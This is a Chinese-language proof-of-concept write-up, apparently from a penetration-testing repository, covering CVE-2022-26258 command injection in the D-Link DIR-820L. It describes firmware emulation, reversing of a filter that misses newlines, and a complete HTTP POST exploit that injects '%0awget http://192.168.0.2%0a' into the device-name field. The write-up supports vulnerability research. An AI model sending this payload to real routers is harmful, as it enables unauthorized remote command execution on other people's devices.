Files
Penetration_Testing_POC/iot/D-Link CVE-2022-26258 命令注入.md

4.8 KiB

D-Link CVE-2022-26258 命令注入

0431物联卫士实验室 来源:https://www.iotsec-zone.com/article/123

D-Link CVE-2022-26258 命令注入

0x00.前言

今天又是美好的一天,逛逛iotsec-zone社区的IOT安全情报,发现新更新的漏洞 0.png

0x01.固件模拟

将固件下载下来,移动到Ubuntu中,直接使用binwalk进行固件的解密 1.png

可以看到固件没有进行加密,接下来我们尝试使用FirmAE进行固件模拟,上命令

$ sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW105B03.bin

2.png

看到两个true说明http服务和network都成功模拟,也就是说我们得到了一台仿真的路由器。

0x02.逆向分析

准备工作我们已经完成了,接下来就是对固件进行分析

我们不能盲目的操作,我们去look一下描述信息 3.png

这一下就清楚多了,在页面lan.asp下面,因为咱们已经模拟器来,先去看一下这个页面是什么页面。 4.png

原来是网络设置页面,那么触发漏洞的点就有很多了,例如IP,name,device等,这里是设置Device Name时触发的命令执行

接下来上burp,抓包看看请求,分析后端。 5.png

使用grep命令进行检索

$ grep -r "get_set" .

6.png

可以看到一个耳熟能详的二进制应用 ncc2,这个应用主要进行网络等底层操作相关的操作,使用IDA进行分析

根据DEVICE_NAME进行相关追踪 7.png

这里可以看到设置设备名称时通过系统命令触发执行,但是前面有个hasInjectionString,根据英文名字猜测,应该是用来判定是否有注入,我们进行跟踪 8.png

可以看到为导出函数,使用grep进行快速检索 9.png

可以看到匹配的动态链接库,针对动态链接库进行逆向分析 10.png

可以看到其过滤的符号

`\;'|

但是没有过滤\n也就是%0a,所以我们可以使用%0a进行绕过

0x03.EXP

使用python启动个服务端 11.png

这里使用Burpsuite进行EXP的攻击,EXP如下

POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
Content-Length: 765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.0.1
Referer: http://192.168.0.1/lan.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: hasLogin=1
Connection: close

ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0awget http://192.168.0.2%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1649259644679=1649259644679

12.png

这里可以看到命令成功被执行

0x04.小结

通过上面的分析可以看到,虽然进行了过滤,但是过滤并不够完整,所以仍可以被绕过